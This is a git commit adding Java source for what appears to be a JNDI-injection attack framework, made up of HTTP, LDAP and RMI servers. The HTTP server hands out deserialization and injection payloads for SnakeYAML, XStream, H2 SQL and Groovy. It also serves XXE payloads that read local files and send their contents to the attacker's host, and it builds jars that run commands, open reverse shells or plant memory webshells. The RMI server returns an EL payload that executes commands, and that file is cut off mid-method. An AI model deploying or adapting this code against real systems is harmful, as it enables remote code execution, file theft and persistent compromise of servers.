gradle++1

This commit is contained in:
qi4L
2024-04-02 17:04:39 +08:00
commit 130d67f3ef
841 changed files with 33585 additions and 0 deletions
+604
View File
@@ -0,0 +1,604 @@
package com.qi4l.jndi;
import cn.hutool.core.io.file.FileReader;
import com.qi4l.jndi.gadgets.Config.Config;
import com.qi4l.jndi.gadgets.utils.Cache;
import com.qi4l.jndi.gadgets.utils.Util;
import com.qi4l.jndi.template.CommandTemplate;
import com.qi4l.jndi.template.DnslogTemplate;
import com.qi4l.jndi.template.ReverseShellTemplate;
import com.sun.net.httpserver.HttpExchange;
import com.sun.net.httpserver.HttpHandler;
import com.sun.net.httpserver.HttpServer;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.lang3.reflect.FieldUtils;
import java.io.ByteArrayOutputStream;
import java.io.File;
import java.io.FileInputStream;
import java.io.IOException;
import java.net.InetSocketAddress;
import java.nio.charset.StandardCharsets;
import java.util.HashMap;
import java.util.Map;
import java.util.jar.JarOutputStream;
import java.util.zip.ZipEntry;
import static org.fusesource.jansi.Ansi.ansi;
public class HTTPServer {
//获取根目录路径
public static String cwd = System.getProperty("user.dir");
public static void start() throws IOException {
HttpServer httpServer = HttpServer.create(new InetSocketAddress(Config.httpPort), 0);
httpServer.createContext("/", new HttpHandler() {
@Override
public void handle(HttpExchange httpExchange) {
try {
System.out.println(ansi().render("@|green [+]|@ New HTTP Request From >>" + httpExchange.getRemoteAddress() + " " + httpExchange.getRequestURI()));
String qi = String.valueOf(httpExchange.getRequestURI());
if (qi.contains("setPathAlias")) {
Config.BCEL1 = qi.substring(qi.indexOf("=") + 1);
System.out.println(ansi().render("@|green [+]|@ 获取参数成功 >> " + Config.BCEL1));
} else if (qi.contains("setRoute")) {
Config.ROUTE = qi.substring(qi.indexOf("=") + 1);
System.out.println(ansi().render("@|green [+]|@ 获取路由成功 >> " + Config.ROUTE));
}
String path = httpExchange.getRequestURI().getPath();
if (path.endsWith(".class")) {
handleClassRequest(httpExchange);
} else if (path.endsWith(".wsdl")) {
handleWSDLRequest(httpExchange);
} else if (path.endsWith(".jar")) {
handleJarRequest(httpExchange);
} else if (path.startsWith("/xxelog")) {
handleXXELogRequest(httpExchange);
} else if (path.endsWith(".sql")) {
handleSQLRequest(httpExchange);
} else if (path.endsWith(".groovy")) {
handlerGroovyRequest(httpExchange);
} else if (path.endsWith(".xml")) {
handleXMLRequest(httpExchange);
} else if (path.endsWith(".txt")) {
handleTXTRequest(httpExchange);
} else if (path.endsWith(".yml")) {
handleYmlRequest(httpExchange);
} else {
handleFileRequest(httpExchange);
}
} catch (Exception e) {
e.printStackTrace();
}
}
});
httpServer.setExecutor(null);
httpServer.start();
System.out.println(ansi().render("@|green [+]|@ HTTP Server Start Listening on >>" + Config.httpPort + "..."));
}
private static void handleFileRequest(HttpExchange exchange) throws Exception {
System.out.println("[-] 请求的后缀不对");
String path = exchange.getRequestURI().getPath();
String filename = cwd + File.separator + "data" + File.separator + path.substring(path.lastIndexOf("/") + 1);
File file = new File(filename);
if (file.exists()) {
byte[] bytes = new byte[(int) file.length()];
FileInputStream fileInputStream = new FileInputStream(file);
fileInputStream.read(bytes);
exchange.sendResponseHeaders(200, file.length() + 1);
exchange.getResponseBody().write(bytes);
} else {
System.out.println(ansi().render("@|red [!] Response Code: |@" + 404));
exchange.sendResponseHeaders(404, 0);
}
exchange.close();
}
private static void handleYmlRequest(HttpExchange exchange) throws IOException {
String path = exchange.getRequestURI().getPath();
// String host = exchange.getRequestURI().getHost();
String YamlName = path.substring(path.lastIndexOf("/") + 1, path.lastIndexOf("."));
String bytes = "!!javax.script.ScriptEngineManager [\n" +
" !!java.net.URLClassLoader [[\n" +
" !!java.net.URL [\"http://" + Config.ip + ":" + Config.httpPort + "/behinder3.jar\"]\n" +
" ]]\n" +
"]\n";
if (YamlName.equalsIgnoreCase("snake")) {
System.out.println(ansi().render("@|green [+] Response Code: |@" + 200));
// exchange.getResponseHeaders().set("Content-type","application/octet-stream");
exchange.sendResponseHeaders(200, bytes.getBytes().length + 1);
// exchange.sendResponseHeaders(200, yaml.getObject().length + 1);
exchange.getResponseBody().write(bytes.getBytes(StandardCharsets.UTF_8));
// exchange.getResponseBody().write(yaml.getObject("UTF-8"));
} else {
String pa = cwd + File.separator + "data";
File file = new File(pa + File.separator + YamlName + ".yml");
if (file.exists()) {
byte[] bytes1 = new byte[(int) file.length()];
try (FileInputStream fileInputStream = new FileInputStream(file)) {
fileInputStream.read(bytes1);
}
exchange.getResponseHeaders().set("Content-type", "application/octet-stream");
exchange.sendResponseHeaders(200, file.length() + 1);
exchange.getResponseBody().write(bytes1);
} else {
System.out.println(ansi().render("@|red [!] Response Code: |@" + 404));
exchange.sendResponseHeaders(404, 0);
}
}
exchange.close();
}
public static void handleTXTRequest(HttpExchange exchange) throws IOException {
String path = exchange.getRequestURI().getPath();
String txtname = path.substring(path.lastIndexOf("/") + 1, path.lastIndexOf("."));
if (txtname.equalsIgnoreCase("isok")) {
System.out.println(ansi().render("@|green [+] Response Code: |@" + 200));
byte[] bytes = "success!".getBytes();
exchange.getResponseHeaders().set("Content-type", "application/octet-stream");
exchange.sendResponseHeaders(200, bytes.length + 1);
exchange.getResponseBody().write(bytes);
} else {
String pa = cwd + File.separator + "data";
File file = new File(pa + File.separator + txtname + ".txt");
if (file.exists()) {
byte[] bytes1 = new byte[(int) file.length()];
try (FileInputStream fileInputStream = new FileInputStream(file)) {
fileInputStream.read(bytes1);
}
exchange.getResponseHeaders().set("Content-type", "application/octet-stream");
exchange.sendResponseHeaders(200, file.length() + 1);
exchange.getResponseBody().write(bytes1);
} else {
System.out.println(ansi().render("@|red [!] Response Code: @|" + 404));
exchange.sendResponseHeaders(404, 0);
}
}
exchange.close();
}
public static void handleXMLRequest(HttpExchange exchange) throws IOException {
String path = exchange.getRequestURI().getPath();
// String host = exchange.getRequestURI().getHost();
String xmlName = path.substring(path.lastIndexOf("/") + 1, path.lastIndexOf("."));
String bytes = "<configuration>\n <insertFromJNDI env-entry-name=\"ldap://" + Config.ip + ":" + Config.ldapPort + "/TomcatBypass/TomcatMemshell3\" as=\"appName\" />\n</configuration>";
String xstream = "<linked-hash-set>\n" +
" <jdk.nashorn.internal.objects.NativeString>\n" +
" <flags>0</flags>\n" +
" <value class=\"com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data\">\n" +
" <dataHandler>\n" +
" <dataSource class=\"com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource\">\n" +
" <is class=\"javax.crypto.CipherInputStream\">\n" +
" <cipher class=\"javax.crypto.NullCipher\">\n" +
" <initialized>false</initialized>\n" +
" <opmode>0</opmode>\n" +
" <serviceIterator class=\"javax.imageio.spi.FilterIterator\">\n" +
" <iter class=\"javax.imageio.spi.FilterIterator\">\n" +
" <iter class=\"java.util.Collections$EmptyIterator\"/>\n" +
" <next class=\"com.sun.rowset.JdbcRowSetImpl\" serialization=\"custom\">\n" +
" <javax.sql.rowset.BaseRowSet>\n" +
" <default>\n" +
" <concurrency>1008</concurrency>\n" +
" <escapeProcessing>true</escapeProcessing>\n" +
" <fetchDir>1000</fetchDir>\n" +
" <fetchSize>0</fetchSize>\n" +
" <isolation>2</isolation>\n" +
" <maxFieldSize>0</maxFieldSize>\n" +
" <maxRows>0</maxRows>\n" +
" <queryTimeout>0</queryTimeout>\n" +
" <readOnly>true</readOnly>\n" +
" <rowSetType>1004</rowSetType>\n" +
" <showDeleted>false</showDeleted>\n" +
" <dataSource>ldap://" + Config.ip + ":1389/basic/TomcatMemShell3</dataSource>\n" +
" <listeners/>\n" +
" <params/>\n" +
" </default>\n" +
" </javax.sql.rowset.BaseRowSet>\n" +
" <com.sun.rowset.JdbcRowSetImpl>\n" +
" <default>\n" +
" <iMatchColumns>\n" +
" <int>-1</int>\n" +
" <int>-1</int>\n" +
" <int>-1</int>\n" +
" <int>-1</int>\n" +
" <int>-1</int>\n" +
" <int>-1</int>\n" +
" <int>-1</int>\n" +
" <int>-1</int>\n" +
" <int>-1</int>\n" +
" <int>-1</int>\n" +
" </iMatchColumns>\n" +
" <strMatchColumns>\n" +
" <null/>\n" +
" <null/>\n" +
" <null/>\n" +
" <null/>\n" +
" <null/>\n" +
" <null/>\n" +
" <null/>\n" +
" <null/>\n" +
" <null/>\n" +
" <null/>\n" +
" </strMatchColumns>\n" +
" </default>\n" +
" </com.sun.rowset.JdbcRowSetImpl>\n" +
" </next>\n" +
" </iter>\n" +
" <filter class=\"javax.imageio.ImageIO$ContainsFilter\">\n" +
" <method>\n" +
" <class>com.sun.rowset.JdbcRowSetImpl</class>\n" +
" <name>getDatabaseMetaData</name>\n" +
" <parameter-types/>\n" +
" </method>\n" +
" <name>foo</name>\n" +
" </filter>\n" +
" <next class=\"string\">foo</next>\n" +
" </serviceIterator>\n" +
" <lock/>\n" +
" </cipher>\n" +
" <input class=\"java.lang.ProcessBuilder$NullInputStream\"/>\n" +
" <ibuffer></ibuffer>\n" +
" <done>false</done>\n" +
" <ostart>0</ostart>\n" +
" <ofinish>0</ofinish>\n" +
" <closed>false</closed>\n" +
" </is>\n" +
" <consumed>false</consumed>\n" +
" </dataSource>\n" +
" <transferFlavors/>\n" +
" </dataHandler>\n" +
" <dataLen>0</dataLen>\n" +
" </value>\n" +
" </jdk.nashorn.internal.objects.NativeString>\n" +
" <jdk.nashorn.internal.objects.NativeString reference=\"../jdk.nashorn.internal.objects.NativeString\"/>\n" +
" <entry>\n" +
" <jdk.nashorn.internal.objects.NativeString reference=\"../../entry/jdk.nashorn.internal.objects.NativeString\"/>\n" +
" <jdk.nashorn.internal.objects.NativeString reference=\"../../entry/jdk.nashorn.internal.objects.NativeString\"/>\n" +
" </entry>\n" +
"</linked-hash-set>";
if (xmlName.equals("a")) {
System.out.println(ansi().render("@|green [+] Response Code: |@" + 200));
exchange.sendResponseHeaders(200, bytes.getBytes().length + 1);
exchange.getResponseBody().write(bytes.getBytes(StandardCharsets.UTF_8));
} else if (xmlName.equals("x")) {
System.out.println(ansi().render("@|green [+] Response Code: |@" + 200));
exchange.getResponseHeaders().add("Content-Type", "application/xml; charset=utf-8");
exchange.sendResponseHeaders(200, xstream.getBytes().length + 1);
exchange.getResponseBody().write(xstream.getBytes(StandardCharsets.UTF_8));
} else {
String pa = cwd + File.separator + "data";
File file = new File(pa + File.separator + xmlName + ".xml");
if (file.exists()) {
byte[] bytes1 = new byte[(int) file.length()];
try (FileInputStream fileInputStream = new FileInputStream(file)) {
fileInputStream.read(bytes1);
}
exchange.getResponseHeaders().add("Content-Type", "application/xml; charset=utf-8");
// exchange.getResponseHeaders().set("Content-type","application/octet-stream");
exchange.sendResponseHeaders(200, file.length() + 1);
exchange.getResponseBody().write(bytes1);
} else {
System.out.println(ansi().render("@|red [!] Response Code: |@" + 404));
exchange.sendResponseHeaders(404, 0);
}
}
exchange.close();
}
public static void handleSQLRequest(HttpExchange exchange) throws IOException {
String path = exchange.getRequestURI().getPath();
String host = exchange.getRequestURI().getHost();
String sqlName = path.substring(path.lastIndexOf("/") + 1, path.lastIndexOf("."));
if (sqlName.equalsIgnoreCase("echo")) {
System.out.println(ansi().render("@|green [+] Response Code: |@" + 200));
String name = String.valueOf(System.nanoTime());
String bytes = "CREATE ALIAS " + name + " AS CONCAT('void ex()throws Exception" +
"{Object o = com.sun.rowset.JdbcRowSetImpl();',' o.setDataSourceName(\"ldap://" + host + ":1389/TomcatBypass/TomcatEcho\");',' 'o.setAutoCommit(\"true\");,'}');" +
"CALL " + name + "();\"}";
exchange.sendResponseHeaders(200, bytes.getBytes().length + 1);
exchange.getResponseBody().write(bytes.getBytes(StandardCharsets.UTF_8));
} else if (sqlName.equalsIgnoreCase("inject")) {
System.out.println("@|green Response Code: |@" + 200);
String name = String.valueOf(System.nanoTime());
String bytes = "CREATE ALIAS " + name + " AS CONCAT('void ex()throws Exception" +
"{Object o = com.sun.rowset.JdbcRowSetImpl();',' o.setDataSourceName(\"ldap:// + host + :1389/inject.class\");',' 'o.setAutoCommit(\"true\");,'}');" +
"CALL " + name + "();\"}";
exchange.sendResponseHeaders(200, bytes.getBytes().length + 1);
exchange.getResponseBody().write(bytes.getBytes(StandardCharsets.UTF_8));
} else {
String pa = cwd + File.separator + "data";
File file = new File(pa + File.separator + sqlName + ".sql");
if (file.exists()) {
byte[] bytes = new byte[(int) file.length()];
try (FileInputStream fileInputStream = new FileInputStream(file)) {
fileInputStream.read(bytes);
}
// exchange.getResponseHeaders().set("Content-type","application/octet-stream");
exchange.sendResponseHeaders(200, file.length() + 1);
exchange.getResponseBody().write(bytes);
} else {
System.out.println(ansi().render("@|red [!] Response Code: |@" + 404));
exchange.sendResponseHeaders(404, 0);
}
}
exchange.close();
}
public static void handlerGroovyRequest(HttpExchange exchange) throws IOException {
String path = exchange.getRequestURI().getPath();
String host = exchange.getRequestURI().getHost();
String exp = "/TomcatBypass/TomcatEcho";
String groovyName = path.substring(path.lastIndexOf("/") + 1, path.lastIndexOf("."));
if (groovyName.equalsIgnoreCase("groovyecho")) {
System.out.println(ansi().render("@|green [+] Response Code: |@" + 200));
String bytes = "class demo {\n" +
" static void main(){\n" +
" com.sun.rowset.JdbcRowSetImpl o = new com.sun.rowset.JdbcRowSetImpl();\n" +
" o.setDataSourceName(\"ldap://" + host + ":1389" + exp + "\");\n" +
" o.setAutoCommit(true);\n" +
" }\n" +
"}\n";
exchange.sendResponseHeaders(200, bytes.getBytes().length + 1);
exchange.getResponseBody().write(bytes.getBytes(StandardCharsets.UTF_8));
} else {
String pa = cwd + File.separator + "data";
File file = new File(pa + File.separator + groovyName + ".groovy");
if (file.exists()) {
byte[] bytes = new byte[(int) file.length()];
try (FileInputStream fileInputStream = new FileInputStream(file)) {
fileInputStream.read(bytes);
}
// exchange.getResponseHeaders().set("Content-type","application/octet-stream");
exchange.sendResponseHeaders(200, file.length() + 1);
exchange.getResponseBody().write(bytes);
} else {
System.out.println(ansi().render("@|red [!] Response Code: |@" + 404));
exchange.sendResponseHeaders(404, 0);
}
}
exchange.close();
}
public static void handleXXELogRequest(HttpExchange exchange) throws IllegalAccessException, IOException {
Object exchangeImpl = FieldUtils.readField(exchange, "impl", true);
Object request = FieldUtils.readField(exchangeImpl, "req", true);
String startLine = (String) FieldUtils.readField(request, "startLine", true);
System.out.println(ansi().render("@|green [+] XXE Attack Result: |@" + startLine));
exchange.sendResponseHeaders(200, 0);
exchange.close();
}
private static void handleJarRequest(HttpExchange exchange) throws IOException {
String path = exchange.getRequestURI().getPath();
String jarName = path.substring(path.lastIndexOf("/") + 1, path.lastIndexOf("."));
if (jarName.equalsIgnoreCase("behinder3")) {
byte[] bytes;
String filename = cwd + File.separator + "data" + File.separator + "behinder3.jar";
FileReader fileReader = new FileReader(filename, "UTF-8");
bytes = fileReader.readBytes();
exchange.sendResponseHeaders(200, bytes.length + 1);
exchange.getResponseBody().write(bytes);
} else {
String filename = cwd + File.separator + "data" + File.separator + jarName + ".jar";
File file = new File(filename);
if (file.exists()) {
byte[] bytes;
FileReader fileReader = new FileReader(filename, "UTF-8");
bytes = fileReader.readBytes();
exchange.sendResponseHeaders(200, bytes.length + 1);
exchange.getResponseBody().write(bytes);
} else {
System.out.println(ansi().render("@|red [!] Response Code: |@" + 404));
exchange.sendResponseHeaders(404, 0);
}
}
exchange.close();
}
private static void handleClassRequest(HttpExchange exchange) throws IOException {
String path = exchange.getRequestURI().getPath();
String className = path.substring(path.lastIndexOf("/") + 1, path.lastIndexOf("."));
System.out.println(ansi().render("@|green [+] Receive ClassRequest: |@" + className + ".class"));
if (Cache.contains(className)) {
System.out.println(ansi().render("@|green [+] Response Code: |@" + 200));
byte[] bytes = Cache.get(className);
exchange.sendResponseHeaders(200, bytes.length);
//这一步返回http请求
exchange.getResponseBody().write(bytes);
} else {//找不到就从/org目录下照
//String pa = cwd + File.separator + "org";
String pa = cwd + path;
File file = new File(pa);
if (file.exists()) {
byte[] bytes = new byte[(int) file.length()];
try (FileInputStream fileInputStream = new FileInputStream(file)) {
fileInputStream.read(bytes);
}
exchange.getResponseHeaders().set("Content-type", "application/octet-stream");
exchange.sendResponseHeaders(200, file.length() + 1);
exchange.getResponseBody().write(bytes);
System.out.println(ansi().render("@|green [+] 内存马远程类加载成功 |@" + 200));
} else {
System.out.println(ansi().render("@|red [!] Response Code: |@" + 404));
exchange.sendResponseHeaders(404, 0);
}
}
exchange.close();
}
private static void handleWSDLRequest(HttpExchange exchange) throws Exception {
String query = exchange.getRequestURI().getQuery();
Map<String, String> params = parseQuery(query);
String path = exchange.getRequestURI().getPath().substring(1);
if (path.startsWith("list")) {
//intended to list directories or read files on server
String file = params.get("file");
if (file != null && !file.isEmpty()) {
String listWsdl = "" +
"<!DOCTYPE x [\n" +
" <!ENTITY % aaa SYSTEM \"file:///" + file + "\">\n" +
" <!ENTITY % bbb SYSTEM \"http://" + Config.ip + ":" + Config.httpPort + "/http.wsdl\">\n" +
" %bbb;\n" +
"]>\n" +
"<definitions name=\"HelloService\" xmlns=\"http://schemas.xmlsoap.org/wsdl/\">\n" +
" &ddd;\n" +
"</definitions>";
System.out.println(ansi().render("@|green [+] Response Code: |@" + 200));
exchange.sendResponseHeaders(200, listWsdl.getBytes().length);
exchange.getResponseBody().write(listWsdl.getBytes());
} else {
System.out.println(ansi().render("@|red [!] Missing or wrong argument|@"));
System.out.println(ansi().render("@|red [!] Response Code: |@" + 404));
exchange.sendResponseHeaders(404, 0);
}
exchange.close();
} else if (path.startsWith("upload")) {
String type = params.get("type");
String[] args = null;
if (type.equalsIgnoreCase("command")) {
args = new String[]{params.get("cmd")};
} else if (type.equalsIgnoreCase("dnslog")) {
args = new String[]{params.get("url")};
} else if (type.equalsIgnoreCase("reverseshell")) {
args = new String[]{params.get("ip"), params.get("port")};
}
String jarName = createJar(type, args);
if (jarName != null) {
String uploadWsdl = "<!DOCTYPE a SYSTEM \"jar:http://" + Config.ip + ":" + Config.httpPort +
"/" + jarName + ".jar!/file.txt\"><a></a>";
System.out.println(ansi().render("@|green [+] Response Code: |@" + 200));
exchange.sendResponseHeaders(200, uploadWsdl.getBytes().length);
exchange.getResponseBody().write(uploadWsdl.getBytes());
} else {
System.out.println(ansi().render("@|red [!] Missing or wrong argument|@"));
System.out.println(ansi().render("@|red [!] Response Code: |@" + 404));
exchange.sendResponseHeaders(404, 0);
}
exchange.close();
} else if (path.startsWith("http")) {
String xxhttp = "<!ENTITY % ccc '<!ENTITY ddd &#39;<import namespace=\"uri\" location=\"http://" +
Config.ip + ":" + Config.httpPort + "/xxelog?%aaa;\"/>&#39;>'>%ccc;";
System.out.println(ansi().render("@|green [+] Response Code: |@" + 200));
exchange.sendResponseHeaders(200, xxhttp.getBytes().length);
exchange.getResponseBody().write(xxhttp.getBytes());
exchange.close();
} else {
System.out.println(ansi().render("@|red [!] Response Code: |@" + 404));
exchange.sendResponseHeaders(404, 0);
exchange.close();
}
}
private static Map<String, String> parseQuery(String query) {
Map<String, String> params = new HashMap<>();
try {
for (String str : query.split("&")) {
try {
String[] parts = str.split("=", 2);
params.put(parts[0], parts[1]);
} catch (Exception e) {
//continue
}
}
} catch (Exception e) {
//continue
}
return params;
}
/*
由于我本地安装的 Websphere 在加载本地 classpath 这一步复现不成功
这里不确定 websphere 这种方式在多次操作时 Class 文件名相同时是否会存在问题
目前暂时认为其不会有问题,如果有问题,后面再修改
*/
private static String createJar(String type, String... params) throws Exception {
byte[] bytes;
String className = "xExportObject";
switch (type.toLowerCase()) {
case "command":
CommandTemplate commandTemplate = new CommandTemplate(params[0], "xExportObject");
bytes = commandTemplate.getBytes();
break;
case "dnslog":
DnslogTemplate dnslogTemplate = new DnslogTemplate(params[0], "xExportObject");
bytes = dnslogTemplate.getBytes();
break;
case "reverseshell":
ReverseShellTemplate reverseShellTemplate = new ReverseShellTemplate(params[0], params[1], "xExportObject");
bytes = reverseShellTemplate.getBytes();
break;
case "webspherememshell":
ClassPool classPool = ClassPool.getDefault();
CtClass exploitClass = classPool.get("com.feihong.ldap.template.WebsphereMemshellTemplate");
exploitClass.setName(className);
exploitClass.detach();
bytes = exploitClass.toBytecode();
break;
default:
return null;
}
System.out.println(ansi().render("@|green [+] Name of Class in Jar: |@" + className));
ByteArrayOutputStream bout = new ByteArrayOutputStream();
JarOutputStream jarOut = new JarOutputStream(bout);
jarOut.putNextEntry(new ZipEntry(className + ".class"));
jarOut.write(bytes);
jarOut.closeEntry();
jarOut.close();
bout.close();
String jarName = Util.getRandomString();
Cache.set(jarName, bout.toByteArray());
return jarName;
}
}
+127
View File
@@ -0,0 +1,127 @@
package com.qi4l.jndi;
import com.qi4l.jndi.controllers.LdapController;
import com.qi4l.jndi.controllers.LdapMapping;
import com.qi4l.jndi.controllers.utils.AESUtils;
import com.qi4l.jndi.gadgets.Config.Config;
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import org.reflections.Reflections;
import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.lang.reflect.Constructor;
import java.net.InetAddress;
import java.util.Set;
import java.util.TreeMap;
import static com.qi4l.jndi.gadgets.Config.Config.*;
import static com.qi4l.jndi.gadgets.utils.Utils.base64Decode;
import static org.fusesource.jansi.Ansi.ansi;
public class LdapServer extends InMemoryOperationInterceptor {
public static TreeMap<String, LdapController> routes = new TreeMap<>();
public LdapServer() throws Exception {
//find all classes annotated with @LdapMapping
Set<Class<?>> controllers = new Reflections(this.getClass().getPackage().getName())
.getTypesAnnotatedWith(LdapMapping.class);
//instantiate them and store in the routes map
for (Class<?> controller : controllers) {
Constructor<?> cons = controller.getConstructor();
LdapController instance = (LdapController) cons.newInstance();
String[] mappings = controller.getAnnotation(LdapMapping.class).uri();
for (String mapping : mappings) {
if (mapping.startsWith("/")) {
mapping = mapping.substring(1); //remove first forward slash
routes.put(mapping, instance);
}
}
}
}
public static void start() {
try {
InMemoryDirectoryServerConfig serverConfig = new InMemoryDirectoryServerConfig("dc=example,dc=com");
serverConfig.setListenerConfigs(new InMemoryListenerConfig(
"listen",
InetAddress.getByName("0.0.0.0"),
Config.ldapPort,
ServerSocketFactory.getDefault(),
SocketFactory.getDefault(),
(SSLSocketFactory) SSLSocketFactory.getDefault()));
if (!USER.equals("") || !PASSWD.equals("")) {
serverConfig.addAdditionalBindCredentials(USER, PASSWD);
}
//添加操作拦截器
//将提供的操作拦截器添加到操作拦截器列表中,该列表可用于在请求被内存目录服务器处理之前转换请求,和/或在响应返回给客户端之前转换响应。
serverConfig.addInMemoryOperationInterceptor(new LdapServer());
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(serverConfig);
ds.startListening();
System.out.println(ansi().render("@|green [+]|@ LDAP Server Start Listening on >>" + Config.ldapPort + "..."));
} catch (Exception e) {
e.printStackTrace();
}
}
/**
* {@inheritDoc}
*
* @see com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor#processSearchResult(com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult)
* 关键在这个类里进行了处理
* 官方说明:在提供的搜索结果返回给客户端之前,调用应该对其执行的任何处理。
*/
@Override
public void processSearchResult(InMemoryInterceptedSearchResult result) {
String base;
if (!ROUTE.equals("")) {
base = ROUTE;
} else {
base = result.getRequest().getBaseDN();
}
try {
if (!AESkey.equals("123")) {
base = base64Decode(base);
base = AESUtils.decrypt(base, AESkey);
}
} catch (Exception AESerr) {
}
//收到ldap请求
System.out.println(ansi().render("@|green [+] Received LDAP Query : |@" + base));
LdapController controller = null;
//find controller
//根据请求的路径从route中匹配相应的controller
for (String key : routes.keySet()) {
//compare using wildcard at the end
if (base.toLowerCase().startsWith(key)) {
controller = routes.get(key);
break;
}
}
if (controller == null) {
System.out.println(ansi().render("@|red [!] Invalid LDAP Query >> |@" + base));
return;
}
try {
//从控制器中进行返回
controller.process(base);
controller.sendResult(result, base);
} catch (Exception e1) {
System.out.println(ansi().render("@|red [!] Exception >> |@" + e1.getMessage()));
}
}
}
+349
View File
@@ -0,0 +1,349 @@
package com.qi4l.jndi;
import com.qi4l.jndi.gadgets.Config.Config;
import com.qi4l.jndi.gadgets.utils.Gadgets;
import com.qi4l.jndi.gadgets.utils.InjShell;
import com.qi4l.jndi.gadgets.utils.Reflections;
import com.qi4l.jndi.gadgets.utils.handle.ClassNameHandler;
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import org.apache.naming.ResourceRef;
import sun.rmi.server.UnicastServerRef;
import sun.rmi.transport.TransportConstants;
import javax.naming.Reference;
import javax.naming.StringRefAddr;
import javax.net.ServerSocketFactory;
import java.io.*;
import java.lang.reflect.Field;
import java.net.*;
import java.rmi.MarshalException;
import java.rmi.server.ObjID;
import java.rmi.server.RemoteObject;
import java.rmi.server.UID;
import java.util.Arrays;
import static com.qi4l.jndi.gadgets.Config.Config.*;
import static org.fusesource.jansi.Ansi.ansi;
/**
* Generic JRMP listener
* <p>
* JRMP Listener that will respond to RMI lookups with a Reference that specifies a remote object factory.
* <p>
* This technique was mitigated against by no longer allowing remote codebases in references by default in Java 8u121.
*
* @author mbechler
*/
@SuppressWarnings({
"restriction"
})
public class RMIServer extends InMemoryOperationInterceptor implements Runnable {
private final ServerSocket ss;
private final Object waitLock = new Object();
private final URL classpathUrl;
private boolean exit;
public RMIServer(int port, URL classpathUrl) throws IOException {
this.classpathUrl = classpathUrl;
this.ss = ServerSocketFactory.getDefault().createServerSocket(port);
}
public static void start() {
String url = "http://" + ip + ":" + rmiPort;
try {
System.out.println(ansi().render("@|green [+]|@ RMI Server Start Listening on >>" + rmiPort + "..."));
RMIServer c = new RMIServer(rmiPort, new URL(url));
c.run();
} catch (Exception e) {
System.err.println("Listener error");
e.printStackTrace(System.err);
}
}
public static ResourceRef execByEL() {
ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true, "org.apache.naming.factory.BeanFactory", null);
ref.add(new StringRefAddr("forceString", "x=eval"));
ref.add(new StringRefAddr("x", String.format(
"\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(" +
"\"java.lang.Runtime.getRuntime().exec('%s')\"" +
")",
Config.command
)));
return ref;
}
private static void handleDGC(ObjectInputStream ois) throws IOException, ClassNotFoundException {
ois.readInt(); // method
ois.readLong(); // hash
System.err.println("Is DGC call for " + Arrays.toString((ObjID[]) ois.readObject()));
}
/**
*
*/
public void close() {
this.exit = true;
try {
this.ss.close();
} catch (IOException ignored) {
}
synchronized (this.waitLock) {
this.waitLock.notify();
}
}
@Override
public void run() {
try {
Socket s = null;
try {
while (!this.exit && (s = this.ss.accept()) != null) {
try {
s.setSoTimeout(5000);
InetSocketAddress remote = (InetSocketAddress) s.getRemoteSocketAddress();
System.err.println("[+] Have connection from " + remote);
InputStream is = s.getInputStream();
InputStream bufIn = is.markSupported() ? is : new BufferedInputStream(is);
// Read magic (or HTTP wrapper)
bufIn.mark(4);
try (DataInputStream in = new DataInputStream(bufIn)) {
int magic = in.readInt();
short version = in.readShort();
if (magic != TransportConstants.Magic || version != TransportConstants.Version) {
s.close();
continue;
}
OutputStream sockOut = s.getOutputStream();
BufferedOutputStream bufOut = new BufferedOutputStream(sockOut);
try (DataOutputStream out = new DataOutputStream(bufOut)) {
byte protocol = in.readByte();
switch (protocol) {
case TransportConstants.StreamProtocol:
out.writeByte(TransportConstants.ProtocolAck);
if (remote.getHostName() != null) {
out.writeUTF(remote.getHostName());
} else {
out.writeUTF(remote.getAddress().toString());
}
out.writeInt(remote.getPort());
out.flush();
in.readUTF();
in.readInt();
case TransportConstants.SingleOpProtocol:
doMessage(s, in, out);
break;
default:
case TransportConstants.MultiplexProtocol:
System.err.println("Unsupported protocol");
s.close();
continue;
}
bufOut.flush();
out.flush();
}
}
} catch (InterruptedException e) {
return;
} catch (Exception e) {
e.printStackTrace(System.err);
} finally {
System.err.println("Closing connection");
s.close();
}
}
} finally {
if (s != null) {
s.close();
}
if (this.ss != null) {
this.ss.close();
}
}
} catch (SocketException ignored) {
} catch (Exception e) {
e.printStackTrace(System.err);
}
}
private void doMessage(Socket s, DataInputStream in, DataOutputStream out) throws Exception {
System.err.println("[+] RMI服务器 >> 正在读取信息");
int op = in.read();
switch (op) {
case TransportConstants.Call:
// service incoming RMI call
doCall(in, out);
break;
case TransportConstants.Ping:
// send ack for ping
out.writeByte(TransportConstants.PingAck);
break;
case TransportConstants.DGCAck:
UID.read(in);
break;
default:
throw new IOException(" RMI 服务器 >> 无法识别:" + op);
}
s.close();
}
private void doCall(DataInputStream in, DataOutputStream out) throws Exception {
ObjectInputStream ois = new ObjectInputStream(in) {
@Override
protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException {
if ("[Ljava.rmi.server.ObjID;".equals(desc.getName())) {
return ObjID[].class;
} else if ("java.rmi.server.ObjID".equals(desc.getName())) {
return ObjID.class;
} else if ("java.rmi.server.UID".equals(desc.getName())) {
return UID.class;
} else if ("java.lang.String".equals(desc.getName())) {
return String.class;
}
throw new IOException(" RMI 服务器 >> 无法读取 Object");
}
};
ObjID read;
try {
read = ObjID.read(ois);
} catch (java.io.IOException e) {
throw new MarshalException(" RMI 服务器 >> 无法读取 ObjID", e);
}
if (read.hashCode() == 2) {
// DGC
handleDGC(ois);
} else if (read.hashCode() == 0) {
if (handleRMI(ois, out)) {
synchronized (this.waitLock) {
this.waitLock.notifyAll();
